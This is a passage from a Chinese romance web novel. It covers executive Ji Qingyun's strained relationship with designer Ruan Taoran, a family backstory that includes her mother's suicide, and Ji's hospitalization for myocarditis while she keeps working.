但他不争气,立马自动退出,不顾一切都要去追求所谓的艺术理想。 纪老爷子实在没办法,这才推了纪青云上位,暂时管理公司。 梁霜的眸子沉了沉,轻声道:“爸,他年少气盛,你别跟他一般见识,他现在说不准已经改好了。” “让他回来试试,说不定比育川好一点呢。” “没门。”纪老爷子语气激烈,“他当时在我面前多有傲气,就让他傲气。” 纪育川眸子里忍不住有些喜色滚过去,老爷子是记仇的,当年的事情耿耿于怀了。 这对于他来说是好事,他那个便宜弟弟没可能,现在老爷子就只能寄希望于他身上。 可这对于梁霜是个坏消息。 她还在老爷子面前忍气吞声,这么多年在国内苦心经营,受这么多气,这么多委屈。 想着的就是以后还有自家儿子上位的一天。 结果今天就像是当头棒喝,明明白白告诉她——没可能,不必想。 梁霜站起了身,轻笑了一声:“好好好,你不惦记我们娘俩的好,我也不伺候了。” “你也想去倒向那个不孝女?”纪老爷子冷哼一声,“没门。” “怎么没门?我看青云挺好的,对我客客气气,该有的礼貌一点都不少。”梁霜眉梢一扬。 大有一种,出了门就投奔纪青云的意思。 老爷子看着她的神情,目光锐利:“你当年逼死她妈,现在还指望她能照拂你?” 纪青云回来,从女佣手里接过来羊毛大衣的时候,就听到这样的一句话。 她随手把大衣塞到人手里,脚步又急又快地走到了梁霜面前,然后停住。 “青云……”梁霜顿时脸色一变,“你……怎么回来了?” “刚才爷爷说的话,什么意思?”纪青云浅琉璃色的眸子之中,缓缓蕴着沉沉的冷意。 第64章 第 64 章 装什么女主人的样子?…… 在国外躲着, 终究不是长久之计。 又拖了好几日,阮陶然不得不面对事实,她还是要回到江城去的。 飞机落地, 已经是初冬,不见江城三月花, 只见枯树枝上,一层一层的霜白。 姜颂搓了搓手,伸过来要牵阮陶然的手:“给你暖暖?你手都是冰的。” 阮陶然如触电一般, 把手缩了回来, 轻声道:“不……不用……我不冷。” 林晓晓在接机口等着她, 看到她, 就一个飞扑过来, 给阮陶然了一个熊抱:“想死我了。” “是想我还是想你的实习证明?”阮陶然笑着打趣她。 她走了之后, 林晓晓的实习工作被迫暂停。 不过开实习证明这事也简单, 明天她去公司找人事部门负责人帮林晓晓开一份就是了。 算起来也不会耽误林晓晓的事情。 “不用了, 我已经拿到了……”林晓晓小声说道,似乎还有些心虚。 “拿到了?”阮陶然有些意外。 “那个……纪总给的……”林晓晓说道。 她连忙手举天,做出一副坚定的表情:“我真的没有出卖你, 我一句话都没说。” “她隔三差五来我家喝茶,不知怎么就和我妈成了忘年交。” “我妈又不知道你们的关系, 只当是我和你的好朋友,那漏勺嘴,什么都往外说。” “唉声叹气说实习证明没拿到, 不知道会不会影响我后续的工作。” “第二天她就给我开了一份送过来了, 还说只要我愿意,可以随时到纪氏工作。” “我可是富贵不能淫,威武不能屈, 想也没想就拒绝了。” 林晓晓语气又急又快,想着赶紧把这一切解释清楚,表明自己的立场,绝不会出卖朋友。 “好了,知道了,不怪你。”阮陶然唇角带着笑意,语气是安抚的语气,但笑意始终不达眼底。 环顾了一圈,阮陶然并没有看到什么可疑的人。 但是心里已经怀疑,纪青云那种性格的人,恐怕会找人一直跟踪林晓晓。 林晓晓性格单纯,不知道这些乱七八糟的事,也就没必要提了。 “回来了,就不提不开心的事。”姜颂笑着拦住阮陶然的肩膀,“不是说有好吃的馆子推荐吗?快带我去。” “这么多年没回国,我都快忘记了正宗中餐到底是什么味道了。” 阮陶然不太喜欢姜颂这么亲密的接触,本能身体微微僵硬了一下。 可想到,纪青云或许能看到,她没有推开姜颂,轻轻笑了笑说道:“总要把行李先放回家吧。” 阮陶然说完这句,跟林晓晓介绍:“这位叫做姜颂,我的好朋友。” “这位是林晓晓,我的好闺蜜。” 林晓晓眨了眨眼睛,看到两个人的亲密互动,露出些了然的神情。 三个人上了出租车,一路聊了些,林晓晓也大概了解了姜颂的职业,眼睛里恨不得冒着迷妹的光彩。 “女拳王,我真的只在电视里面看到过,好厉害。” “你这次回来是打比赛的吗?” “算是吧。”姜颂也不见外,直接道,“要签名吗?” “要要要。”林晓晓把自己手机递过来了,“就签手机壳上吧。” 阮陶然:“……”好好的出租车,硬生生成了粉丝见面会。 姜颂签了名字之后,把手机递回去给林晓晓,缓声道:“住你家会不会不方便?” “没关系,反正也就一天,我家里只有我自己,没别人。”阮陶然说道。 姜颂明天要飞首都去打比赛,她的团队都已经飞到首都做准备了。 她为了能和阮陶然一起回国,给自己定了江城中转的机票,在江城能住一天。 “其实我想邀请你去看我的比赛的。”姜颂说着,从口袋里拿出来票,“我都准备好门票了。” “我这边还要处理设计师大赛决赛的事情,还有Seraphine的开业剪彩,可能忙不过来,抱歉。” 阮陶然礼貌拒绝了,余光扫过林晓晓迷妹一样欣赏签名的神情,从姜颂手里把票拿过来,一把塞到了林晓晓手里。 “晓晓去吧。” 林晓晓拿着门票,怔了一下:“啊?这个不好吧?” “你暂时不用回来上班,趁着这个机会带伯母去首都逛一逛。” “之前伯母跟我聊天的时候说很想去天安门看一看,这个机会多好啊。” “所有的差旅,我全部报销,你带着伯母好好玩。” 姜颂没说话,睫羽缓缓压下去,唇角的笑容凝了凝,她知道,这是阮陶然的又一次拒绝。 这几个月以来,阮陶然一直和她刻意保持距离,面对她的示好,更是多番拒绝。 姜颂心里大概猜出来,是因为那个传闻之中的纪青云。 阮陶然是因为失恋所以出国玩,玩了这么久,心底从来没有放下过纪青云。 跑去江对岸吃了夜宵,等到回来的时候已经是后半夜了。 把林晓晓送回家之后,阮陶然带着姜颂回了家。 还好林晓晓经常找阿姨来打扫,几个月没有住,屋子里也没有什么灰尘。 只是到处都冷冷清清,显得没有人气。 阮陶然把姜颂带到了客房,换了床上的床上用品:“我这儿有些简陋,不如酒店舒服。” “我不喜欢住酒店,天南海北打比赛,到处住酒店,多没意思。”姜颂笑着说道。 阮陶然并没有提让她来家里住,这件事是姜颂先提出来的。 在国外,姜颂不少照顾她,阮陶然不好拒绝,再加上姜颂的人品绝对信得过,阮陶然也就把她带回来了。 时间已经晚了,长途国际航班,都已经很累了。 行李箱都懒得开,阮陶然在柜子里找了贴身的衣物,放了热水去洗澡。 一辆黑色的卡宴行驶而过,路过楼下,然后缓缓停住。 韩悦看了眼楼上,还没来及说什么,就听到后门开了,纪青云已经脚步又急又快地走出去了。 韩悦连忙追了上去,下着毛毛的小雨,冬天的雨冷得很,她撑了把伞到纪青云的头顶。 纪青云身上的衣服已经沾了水汽,但是步子很快。 韩悦没敢说话,一路小跑跟着,进了楼道,收伞的功夫,电梯已经上去了。 韩悦:“……”也不等等她。 另一部电梯在维修中,就只能等这部电梯下来了。 也不怪纪青云反应大,这几个月来,她们每天晚上都会路过这里,楼上的灯始终是暗的。 今天,灯忽然亮了。 阮小姐回来了。 韩悦忍不住松了口气,都不知道这几个月日子是怎么过来的。 集团之内风云变幻,纪青云做事不计后果,交到纪育川手里的时候,整个集团都是分崩离析的状态。 纪育川勉力维持了两个月,集团的股价一路下跌,连老爷子发话,都没有用。 纪青云铁了心的,玉石俱焚。 最后老爷子气得心脏病发进了医院,股东大会热热闹闹吵了好几天,最后恭恭敬敬把纪青云请了回来。 纪育川像是丧家之犬被赶了出去,老爷子还在重症监护室,现在纪氏就是纪青云一手遮天。 但是之前她折腾得太过,各个部门都被折腾成了烂摊子。 为了收拾这个烂摊子,纪青云加班加点,几乎没有休息,到现在算是勉强稳住了局势。 韩悦也算是在精英圈里混了这么多年。 大家都喜欢做事留一线,很少有人有纪青云这样掀桌子的魄力。 那不管不顾的架势,俨然是把桌子上吃饭的人都吓住了。 而整个过程,纪青云神色平静,没有暴怒,没有喜色,就像是一片幽黑的深渊,让人看不到底。 最后被一群股东请回去的时候,韩悦都没见她脚步快几分。 纪青云已经到了阮陶然家门口,看着眼前的门,她眸色微微几番变换。 最后才伸手敲了敲门。 等了一会儿,里面没有动静。 她又敲了一遍,里面还是没有动静。 就在她准备敲第三遍的时候,门开了。 映出来一个陌生的女人的脸,她穿着家居服,头上顶着浴巾,一副闲适自在的样子。 “你是谁?”纪青云想要问的话,对面先问出来了。 姜颂打量了她一番,心中差不多有了猜测。 “然然在洗澡,要不进来等?”她唇角微微扬起,一副女主人的架势。 纪青云垂在身侧的手忍不住收紧,她觉得眼前的笑容有些张扬,有些刺眼。 若是她往日的性子,不会容忍有人在她面前这么嚣张。 但是此刻她能怎么做?转身就走吗? 这是她等了几个月,唯一一次有可能见到阮陶然的时候。 纪青云脚步一抬,就跟着姜颂走进来了。 韩悦刚从电梯里出来,看到眼前的场景愣了一下,赶忙跟在纪青云背后进来了。 姜颂语气自然道:“请坐吧,我帮你倒杯茶。” 说话她就进了厨房,看了看整齐的一排柜子,忍不住蹙了蹙眉,翻找起来。 纪青云的声音从背后传递过来:“连个杯子都找不到,看来你对这里也没有这么熟悉。” 一句话几乎是呼之欲出了—— 都是客人,你在我面前装什么女主人的样子? 姜颂终于在柜子里面找到了杯子,走到水池边上清洗,语气淡淡:“我们一直在外面,不熟悉这里不是很正常吗?” “以后会慢慢熟悉的。”姜颂说着,回眸对纪青云勾了勾唇角,这是个微微挑衅的笑。 韩悦看着眼前的场景,只觉得心里咯噔一下,从后脚跟一路凉到了脊背。 这两个人,莫不是要打起来…… 她连忙挤到了两个人之间,从姜颂手里把杯子拿下来:“我来我来,二位去坐着吧。” 离得近,能看得清楚姜颂手臂上的肌肉线条。 练家子…… 这杯子在她手里不就是凶器吗? 用了几番力气,才把杯子夺过来,韩悦能明显感觉到,是因为对面人松手了。 倒了茶水送过来的时候,韩悦能感觉到,客厅里面气氛的剑拔弩张。 “然然应该洗好了,我去叫她。”姜颂主动起身,敲了敲阮陶然的房门。 “怎么了?找不到浴巾吗?”阮陶然说着,开了门。 这房子实在不够大,一眼就看到了,坐在沙发上的纪青云。 第65章 第 65 章 一时之间,就这么四目相…… 阮陶然握在门把手上的指尖紧了紧, 然后一句话都没说,砰的一下关上了门。 姜颂被迎面而来的门差点儿撞到鼻尖,眸子都顿了一下, 好家伙,认识这么些日子, 还没见她这样的时候。 阮陶然平日里都是软软的,甜甜的,像个小桃子一样, 这……有点不一样了。 她迅速压下眸子里的震惊, 回头笑着对纪青云耸了耸肩:“抱歉, 她可能不想见你。” “时间也不早了, 纪总早些回去休息吧。”姜颂摆明了送客的意思。 两个人目光对视, 又是刚才电光火石的气氛, 韩悦连忙小声道:“纪总……” 她真怕这两个人打起来, 到时候她是拦还是不拦, 看起来两个人都能轻松把她打死的样子。 没想到,纪青云起身了,扣上了外套上的扣子, 淡淡道:“打扰了。” 韩悦跟在纪青云身后,趁着电梯门还没关上, 挤进去了。 电梯数字往下,韩悦小心说道:“纪总,阮小姐她就是一时闹脾气, 您也别想太多。” “就算阮小姐谈了新女朋友也没关系, 谈了也可以分手的。” “她进然然的房间之前敲了门。”纪青云语气淡淡说道。 “啊?”韩悦怔了一下,纪青云已经走出去了,韩悦连忙跟了上去。 脑子里飞速消化刚才纪青云的话。 那女人进阮小姐的房间之前敲门, 也就意味着,她们不是住在一个房间的,否则推门进去就好了啊。 所以……她们大概不是情侣关系…… 茅塞顿开,同时韩悦心里对纪青云更是佩服了。 这种时候,剑拔弩张,情敌见面分外眼红的时候,纪青云还能冷静理智,观察到所有的细节。 “所以……”韩悦说道,“阮小姐没有谈恋爱……” “去城南。”纪青云语气淡淡。 说完之后,她顿了一下,跟司机说道:“先送韩助回家。” 韩悦明白,意思是让她下班了。 这段时间,每次纪青云去城南,都会让她提前下班。 她也不知道那是个什么地方,但是职业素养之下,她知道,最好不要乱问。 先送了韩悦,车最后在城南的一个小巷子停下来。 纪青云接过司机递过来的伞,淡淡说道:“照旧,明早上来接我。” “是,纪总。”司机颔首。 她撑着伞走进雨幕里面。 初冬的夜有些冷,风吹起她羊毛大衣的衣角,她的脊背挺得很直,一步一步走到小巷的暗色之中,从容镇定。 下水道的沟渠之中涌出来腐败的味道,头顶上的电线杂乱不堪。 偏偏她一步一步走出去的时候,满身的矜贵,像是走在最高级的大理石地砖上。 司机看着那背影走到小巷的深处,再也看不到。 启动了车子,下班。 回了国,当然要启用之前的手机号。 开了机之后,铺天盖地消息几乎要把手机卡得原地爆炸。 最后让手机冷静了一会儿,阮陶然才开始慢慢翻找消息。 大多是最开始她消失的时候,身边朋友的安慰。 那个时候,全网打她是小三,但她身边的朋友还是信任她,万星春、冯珊珊、沈秋序……甚至顾寄欢也发了消息。 消息最多的是置顶的——纪青云。 她指尖顿了很久,终于是轻轻点开了。 “我已经取消了和傅家的婚约。” “所有的新闻都已经压下去了,如果你想要,我们可以公开。” “监控是被纪育川的人盗出去的,不是我的意思。” “你在哪儿?” “回消息给我,我去接你。” “你还没消气吗?” “Seraphine入驻星悦城的项目继续推进了,你要回来剪彩吗?” “冯珊珊说你回了Date的工作邮件。” “你不想回复我是吗?” “……” 一如既往纪总的语气,充满了压迫感,有些微微的质问。 阮陶然从头看到尾,沉沉呼了一口气,关了手机,没有回复。 纪青云也在看她和阮陶然的对话框,犹豫了很久,最后也没有发消息过去。 她发过很多,关于工作,关于之前的感情……可她不知道怎么让阮陶然回复她了。 头上的灯泡微微摇晃,年久失修的窗子有些透风,窗框有些咔咔作响。 修长的手指触碰在面前失色斑驳的相框之上,指尖触碰上去,又像是触电,猛地收了回来。 相框里面是一张合影—— 一个看上去三四岁的小女孩,穿着粉色的小兔子衣服,被一个中年女人抱在怀里。 她眼角满是皱纹和沧桑的痕迹,但眸子里是说不出来的慈爱。 这是纪青云和妈妈唯一的一张合照。 那个时候,她们实在是太穷了,靠着她妈妈做钟点工的钱,只够她们两个租房吃饭,没有钱拍照。 这还是那年儿童节,路过照相馆,照相馆免费帮他们拍的。 “妈妈,我不知道怎么办了。”纪青云的语气有些淡,淡淡的散在风里。 这段时间她有很多苦恼,所以她经常到这个地方来,她有很多话想说,但说不出口。 相框里的人只会对她笑,不会给她任何的解答。 就如同……当年她自杀也没有留下只字片语一样…… 也是前段时间,偶然听到爷爷和梁霜的争执,她才查清楚了一切。 她妈妈和她爸爸不过是露水姻缘,酒场里面的一夜荒唐。 虽然知道她纪家血脉的身份,但这些年来,妈妈从未告诉任何人。 直到那年,实在是凑不齐她的学费,妈妈选择去了纪家,希望纪家能看在纪青云血脉的份上,给她们一点生活费。 梁霜作为纪太太,见了她。 梁霜最是讨厌这些一波一波来认祖归宗的私生子私生女的,在她看来,这些都是来争家产的。 她冷言冷语讽刺了一番,最后趾高气扬说了一句:“行啊,让她认祖归宗可以,但你不行。” “她只能认我当妈,以后给我当女儿。” 这一句冷嘲热讽,没想到被纪青云的妈妈听进去了。 她不知道大家族里面那些尔虞我诈的弯弯绕,临死之前都以为,只要她死了,女儿就能过好日子了。 出了人命,纪老爷子没办法,到底是把纪青云接了回去,然后把丑闻压下去了。 算是,纪青云过上了不愁吃穿的好日子。 但从此之后,她身后空无一人了。 她学会了冷漠理智,学会了深谋远虑,利益为上,她必须如履薄冰,成为自己的后盾。 “就算你活着,恐怕也不能给我什么建议,毕竟,你这么软弱……”纪青云轻声说道。 她的心里是复杂的,她对这个女人又爱又恨。 这个女人是唯一爱她的人,但又这么软弱地抛弃了她。 纪青云觉得自己仿佛陷入了一个迷宫之中,找不到答案,找不到出路。 清晨六点,她从这件出租屋里走了出来,回去洗澡换了件衣服,直接就到了公司。 韩悦把一沓子文件抱过来,放在她桌上,分类放下:“这些是比较紧要的,这些是……” 她还没说完,就听到纪青云问道:“今天Seraphine开业剪彩是吗?” “是。”韩悦说道,“早上十点开始。” “文件压一压,去星悦城。”纪青云站起身来。 阮陶然到底还是出席了剪彩仪式,Aling作为Seraphine主推的设计师,以及她对于Seraphine的感情,她必须出席。 陈欢见了她,握了手,低声道:“还好吗?” 全网的照片都被压下去了,但人的记忆是存在的,阮陶然身边的人都还记得。 “还好啊。”阮陶然甜甜笑了笑,“这段时间陈总辛苦了。” 有人一路小跑到陈欢的身边,凑过来说了什么。 陈欢的表情凝了凝,似乎是犹豫了一下,才对阮陶然说道:“纪总来了。” 纪青云来是好消息。 从她的身份来说,无形之中就是最好的宣传。 阮陶然有心理准备,轻轻点了点头,说道:“知道了。” 纪青云出席,剪彩的嘉宾必然要加她一个。 仪式按照既定的流程往后走,最后剪彩的时候,纪青云和阮陶然是肩并肩挨着的距离。 阮陶然从托盘上拿下来剪刀,一寸一寸剪断红绸的时候,手肘轻轻碰到了纪青云的手肘。 另一边已经剪断了,导致这一段就不是很好剪。 纪青云伸手过来帮她拽着红绸。 “谢谢。”阮陶然睫羽一颤,轻轻说了一句。 “各位来拍张合照吧。”摄像师笑着说。 人群都往中间凑,阮陶然和纪青云刚好在C位,两边人靠过来,她们也近得几乎贴在一起。 阮陶然的指尖微微一顿,却碰触到纪青云的手背。 她手背上的温度凉得惊人,就像是碰到了一块寒冰。 纪青云的体温向来是比较低的,阮陶然知道,但是这实在是太冷了。 她身体微微有些僵硬,保持了和纪青云之间的一线距离。 本以为纪青云会像之前那样,强势地靠近过来,或者是握住她的手。 但是没有,纪青云把手放在了身前,避开了和阮陶然之间的触碰。 仪式结束,犹豫再三,阮陶然倒了杯热水递给了陈欢:“陈总,给纪总的。” 陈欢把水送到纪青云的手边,极近的距离之下,她也就看出来了,纪青云的气色不是很好。 “谢谢。”纪青云接过来,礼貌道谢。 “没想到您会来,后面的采访环节……”陈欢说道。 “我不参加,不用安排。”纪青云语气淡淡。 “那我安排……阮小姐送您?”陈欢说道。 金丝眼镜之后,浅琉璃色的眸子似乎是动了动,明知道这样不好,但是纪青云还是没忍住,点了头:“好。” 没有牵手,没有拥抱,没有吻,两个人就这么肩并肩往前走着。 韩悦很有眼力见,落后了三步,跟在身后,同时拉住了林晓晓。 林晓晓不服气:“你干什么……” “做助理,要懂得什么时候该进该退。”韩悦语重心长。 不知是沉默了多久,最后是纪青云开了口:“我发的消息,你看到了吗?” “嗯。”阮陶然点了点头。 然后又是沉默,已经走到了车旁边,终于是停住了脚步,两个人谁也没说话,一时之间,就这么四目相对。 第66章 第 66 章 你很想她,你很需要她 “送到这里吧。”纪青云声音落下的时候, 已然上了车。 车门在面前关上,车窗却又降了下来,浅琉璃色的眸子看过来, 一如既往,冷静理智, 让人看不出情绪的波动。 她缓缓说道:“回去吧,这里冷。” 初冬的天气,为了上镜好看, 没有穿厚外套, 阮陶然只穿了套职业套装。 “好。”阮陶然的确是觉得有些冷了, 轻轻搓了搓手。 不知为何, 她总想到刚才纪青云冷到极致的手, 像是一块冰。 她冷不冷, 这段时间过得好不好? 阮陶然唇边有话, 但是又被自己咽下去。 她得再好好想想措辞, 她不想表现得太过在意,然后继续陷入到之前金主和金丝雀的关系里面去。 但她还没有措辞完成,就听到纪青云说:“走吧, 我看你回去了再走。” 阮陶然唇边的话没说出口,只点头应了句好, 然后转头往回走。 她似乎能感觉到背后的目光,她走的速度有些慢,多次忍住了想要回头, 最后猛地加快了脚步。 望着人拐了弯, 消失在视野之中,纪青云取下了眼镜,揉了眉心, 轻声道:“走吧,回公司。” 上午推开的工作,下午要加倍来完成。 中午基本上没有午休的时间,加班加点批完了文件,下午还有两场会议。 起初纪青云还仔仔细细听到会议室里面发言的声音,后面就觉得声音逐渐悠远。 “纪总,纪总?”耳边传来声音,她一瞬间如梦方醒。 迎上一双关切的目光,问道:“纪总,您没事吧?” “没有。”纪青云的指尖掐了一下自己的手心,“继续吧。” 昨晚没睡,是避免不了有些神思恍惚的。 会议室沉默了一下,刚才那人说道:“纪总,我们已经讨论完成了,最后就差您的意见。” 晃神,晃了这么久吗? 纪青云表面上风轻云淡,一双眸子依旧是清冷锐利,并未被人看出来不妥:“我没意见,按照你们的想法推进吧。” “今天的会议就到这里。”纪青云站起身,一瞬间眼前浮现一片一片阴云的黑。 她在原地定了定神,等到那股天旋地转的感觉散去,然后抬脚走出了会议室。 韩悦拿起来桌上的文件,一路小跑跟在纪青云身后。 “通知秘书处,把这两天能压的文件都往后压一压。” “还有,晚上的会议先推了。” “如果有紧急的事情,秘书长可以打我电话对接。” 韩悦听着点头:“是,知道了。” 听起来像是纪青云有重要的事情要处理,韩悦也不仔细问,只是一一点头记住。 “还有……”最后纪青云的脚步顿住,似乎是犹豫了一下。 最后才说道:“陪我去趟医院,这件事不准告诉任何人,算加班外勤。” 纪青云并不想让外人知道她有任何的不妥,但仔细想了想,她身边居然没有一个可以陪同的亲属。 她平日锻炼得当,饮食合理,对自己的身体很有分寸,能明显感觉到,应该是出了问题。 庆南医院VIP病区,检查流程都走了绿通,最后结果出来的速度也很快。 听着床边医生话语不停地说着,纪青云忍不住又有些晃神。 等到医生走了,韩悦连忙过来帮忙牵了牵被子:“问题不是很严重,您睡一会儿,我就在这儿守着。” 纪青云没有困意,只是觉得难以集中注意力。 额头上的温度还是滚烫的,手背上输液的针孔却是冰凉的一片,冷热交替之下,人格外清晰。 但医生说得对,人在生病的时候是需要睡觉的。 她主动来医院,倒不是因为很在意自己的身体,而是只有休息好了,才能更高效地工作。 她不能倒下。 她没有任何条件可以倒下。 所以,纪青云闭上了眼睛。 可也就在睡意刚刚朦胧的时候,床头柜上的手机骤然想起来铃声来。 韩悦连忙伸手去拿:“纪总,是秘书长的电话。” 等到回过身来,一瞬间惊了一跳:“纪总,纪总……”她一边喊着,一边伸手去按床头上的呼叫铃。 纪青云的唇色已经是一片冷白,一丝血色都没有的脸上,有一层密密的冷汗,眉宇蹙起,看起来并不好受。 但是,那只冰冷的手,还是接过了韩悦手里的电话,接通了:“喂,是我。” 呼叫铃叫来的医护已经走了进来,有条不紊地帮纪青云检查身体的情况。 纪青云却好似不舒服的人不是她一样,讲电话的声音依旧平稳从容。 “好,我知道了,半个小时之后让他们把会议接过来。” 挂了电话,就对韩悦吩咐:“把我衣服拿过来,电脑准备接入会议。” 在一边被无视的医生终于找到了机会说话:“我建议您好好休息。” 纪青云没说话,一个淡淡的目光扫过去,医生抿了抿唇,有些尴尬地调整了一下输液器的滴速。 但是保持着医德,最后还是忍不住说道:“心肌炎这种事情可大可小,拖久了会出大问题。” “我心里有数。”纪青云淡淡说了一句。 她是想要遵医嘱好好休息的,但海外的项目出了岔子,临时的紧急会议,谁也预测不了。 经过了之前纪氏的变动,她在纪氏的话语权是说一不二的,这样的事情,没人能帮她下决断。 只是一场会议,应该没事。 纪青云心里这么想着,也没预料到,这场会议开了两个半小时。 到最后纪青云面前都是一片一片的黑影,终于挂断了会议之后,第一件事就是按了呼叫铃。 陆时年是和一群医护一起走进来的。 纪青云一眼就看到了她,缓声道:“抱歉,怠慢陆总了。” 陆时年:“……”她是真没见过这么能撑的人。 见她还要起身坐起来,陆时年连忙道:“你好好躺着吧,跟我见什么外?” “要让寄欢知道我虐待病人,肯定要和我吵一架。” 她这话嘟嘟囔囔的抱怨,却引得纪青云的眸色忍不住微微一暗。 “抱歉……”陆时年意识到自己好像失言了。 “陆总感情和睦,真让人羡慕。”纪青云只是扬了扬唇角,说了这么句话。 陆时年环顾了一圈,硬生生把那句,你小女朋友怎么不在,给咽下去了。 医生大致又叮嘱了一番,左右不过是好好休息不要操劳之类的话。 但陆时年总觉得,这样的话对纪青云没有用。 纪青云这个工作狂,根本就不知道什么叫做好好休息。 而且,医生根本管不住她。 陆时年想了又想,欲言又止,最后还是问道:“不通知阮小姐吗?” 她不是故意插刀,她是觉得,这会儿如果阮陶然在,还能管得住纪青云。 “她不会来的。”纪青云靠在枕头上,闭上了眸子。 亮亮的白炽灯光打在她的脸上,睫羽垂下去的地方有一片小小的阴影,除了这片阴影之外,别的地方都是没有血色的白,明明人在发热,但是看起来就是一点血色都没有的苍白。 她说的是“她不会来的”,而不是“不用告诉她”。 里面的差别就大了去了。 陆时年轻声道:“那你说了吗?” 纪青云没说话,陆时年很是不理解:“你都不说,你怎么知道她不来啊?” “纪总,咱们谈恋爱不是这种谈法。”陆时年觉得自己眼前一黑又一黑。 “闹别扭归闹别扭,该说的话还是要说的。” “不然就这么冷战,什么时候能够和好啊?” 她当然看得出,纪青云很在乎阮陶然,但为什么每次,都变成了不可控的结局? 看别人谈恋爱,比自己谈恋爱还累。 照理来说,纪青云是不喜欢和外人说太多有关于感情的话题的。 但除了陆时年,没人和她聊这样的话题。 纪青云的目光很是平和,没有因为对面的人的吐槽有分毫波动。 陆时年只觉得自己的话都白说了,无奈道:“好了,就当我没说过。” 室内一片寂静,然后是纪青云的声音淡淡道:“我说了……” 她眸子里依旧是平和,语气也是一如既往从容,只是能听得出,有淡淡的失落:“我都说了,她一条都没回。” 陆时年沉默了一下,她觉得阮陶然不是那种冷心冷情的人。 那问题就是……她道:“纪总,你怎么说的?” 顿了一下,试探着问道:“方便让我参谋一下吗?” 纪青云从床头柜上拿下来手机,打开和阮陶然的聊天框,递了过去。 陆时年接过来,往上慢慢翻,翻了足足半小时,才看得差不多。 陆时年:“……” 说了,的确是说了。 每一句话都很强势。 恨不得写脸上——你必须回我消息,我已经解释过了,我命令你回来。 陆时年:“……”真服气,谈恋爱能谈成这样。 陆时年悄悄看了看纪青云的表情,趁她不注意,指尖飞速轻点,给阮陶然发了条消息过去。 刚点击发送键,一抬头就对上纪青云的眸子。 微微抿了抿唇,偷感很重地撤回了。 陆时年把手机放回去,思忖了一下措辞,语重心长说道—— “谈恋爱需要柔和一些,你只说让她回来,有没有说过,你很想她,你很需要她,离开她你活不下去。” 纪青云蹙了蹙眉,有些不可置信的目光看着陆时年。 像是在说——你看起来这么正经的人,怎么会说这种离谱的话。 陆时年理直气壮:“对,没错,我就是说过。” “咚咚咚——”门响了三声,然后外面的人推门进来。 顾寄欢穿着白大褂,未施粉黛,但是脸上挂着灿烂得体的笑,亭亭玉立站在那儿,明媚得让人移不开眼睛。 “纪总感觉还好?”顾寄欢先是问了一句。 得到了纪青云的回复之后,才看向陆时年:“怎么又来了?今晚要很晚,不是说了不让你来接了吗?” 陆时年除了自家公司,来得最勤快的地方就是庆南医院,天天接人下班,乐此不疲。 陆时年眨了眨眼睛,伸手去牵顾寄欢的手:“可是我一个人在家里会想你的,反正都睡不着,不如来等你。” 纪青云:“……”原来真的有人能把这样的话,说得圆润自然。 陆时年刚才的话,居然不是开玩笑? 第67章 第 67 章 她喜欢什么颜色? 顾寄欢晚上还有台手术, 是特意抽出来时间来看纪青云的。 走的时候,是和陆时年手牵手走的。 她们两个人走了之后,病房就重新归于安静之中。 她知道自己应该休息, 只是闭上眼睛并没有睡意,这种完全的休息, 让她有些无所适从。 直等到韩悦敲门进来,纪青云才醒过神来,她坐在这儿发呆已经有一个小时了。 韩悦带了些吃的, 一份青菜瘦肉粥, 还有几样小菜, 几种水果, 在桌子上摆好了, 才轻声喊纪青云。 “纪总, 您晚饭还没来记得吃, 还是吃一点, 对身体恢复好。” 纪青云也才想起来,的确是还没有吃晚饭,只是也没有饿的感觉, 甚至有些微微的恶心。 但她向来都是一个很有执行力的人,包括工作, 包括吃饭。 吃饭是为了恢复体力,饿不饿都要吃,恶心也得强行吃下去, 像是在完成程式化的动作。 韩悦收拾桌上的餐具的时候, 就听到纪青云的声音:“明早的例会同步线上,文件也都送到医院来。” 韩悦:“……”来之前这位祖宗还说,后两天的工作推一推, 结果这又是不推了? 没有违抗或者质疑的意思,韩悦只是点头:“是,明早我会准时到医院来。” 早上先去公司,整理了文件,带到医院。 前一天晚上,韩悦就规划好了时间和路线,但万万没想到的事,庆南医院门口居然这么堵。 明明只剩下不到五百米的距离,导航上的路线红成了一片,她等着左顾右盼,看着副驾上的文件满是着急。 时间一分一秒过去,距离例会的时间就只剩下六分钟了,车只往前龟速行进了五十米左右。 烦躁地拍了一把方向盘,韩悦把脑袋探出车窗观察路况。 蹙着眉毛仔细想了想,认出来了路边的一个人。 “林晓晓——”她喊了一声。 林晓晓今天是陪妈妈来复查的,打了车,距离医院还有一个路口,司机不肯往医院门口挤,把她们放下了。 她和妈妈顺着路边慢慢走的时候,就忽然听到有人喊她的名字。 回头,看到韩悦,仔细想了想,想起来,这是纪青云身边那个助理。 助理,都是开奔驰的,果然纪氏有钱。 韩悦抱起来副驾驶上的文件,一路从车流之中穿过来,看着林晓晓问道:“不好意思麻烦你,你会开车吗?” “我?”林晓晓怔了一下,“大学时候考了驾照,只开过几次。” “有驾照就好。”韩悦伸手就把车钥匙塞到了林晓晓的手里,“麻烦你,帮我开到医院停车场去。” “这是我的名片,到时候联系我就行。” “算我欠你一个人情,下次一定请你吃饭。” 林晓晓吓了一跳:“你的车那么贵,把你的车刮了怎么办?” “没事,全部算我头上。”韩悦看了眼腕表,“我真的来不及了,江湖救急,我走了,车交给你了。” “喂——”林晓晓一抬头,韩悦已经抱着文件往前跑去了。 “滴滴——”韩悦的车就停在路上,此刻后面的车已经发出了不耐烦的鸣笛声音。 “这人谁啊?”林晓晓的妈妈问道。 “一个……算是认识的人?”林晓晓看着马路中间的车,一咬牙,“妈,你先去医院等我。” 总不能把车丢在这儿影响交通,而且韩悦已经托付给她了,总不能不管。 但她实在不相信自己的开车技术,觉得还是让妈妈步行靠谱。 为数不多几次的开车经验,林晓晓摸着方向盘,手心里就起了一层的冷汗。 这可是奔驰,她之前也都没开过奔驰…… 不过还好,基本的启动、油门、刹车都还是会的。 一路紧张的后果就是林晓晓成功把车开到停车场的时候,起了一身的汗。 最后看到个空车位,怎么都挺不进去,找了路人帮忙,才勉强停好了车。 陪着妈妈去挂号,候诊。 等在诊室门口的时候,按照韩悦名片上的号码,给她发了短信。 然后把手机合上的时候,意识到——今天工作日,韩悦抱着一堆文件来医院,还那么着急,干嘛? 似乎有个猜测,林晓晓蹙了蹙眉,压下去了,和她有什么关系…… 可最后,想了想,林晓晓还是去买了个果篮,给韩悦车钥匙的时候,把果篮递了过去:“我妈的手术多亏了纪总帮忙,帮我谢谢纪总,我就不过去打扰了。” 韩悦只觉得自己手里的果篮烫手,丢也不是,拿着也不是。 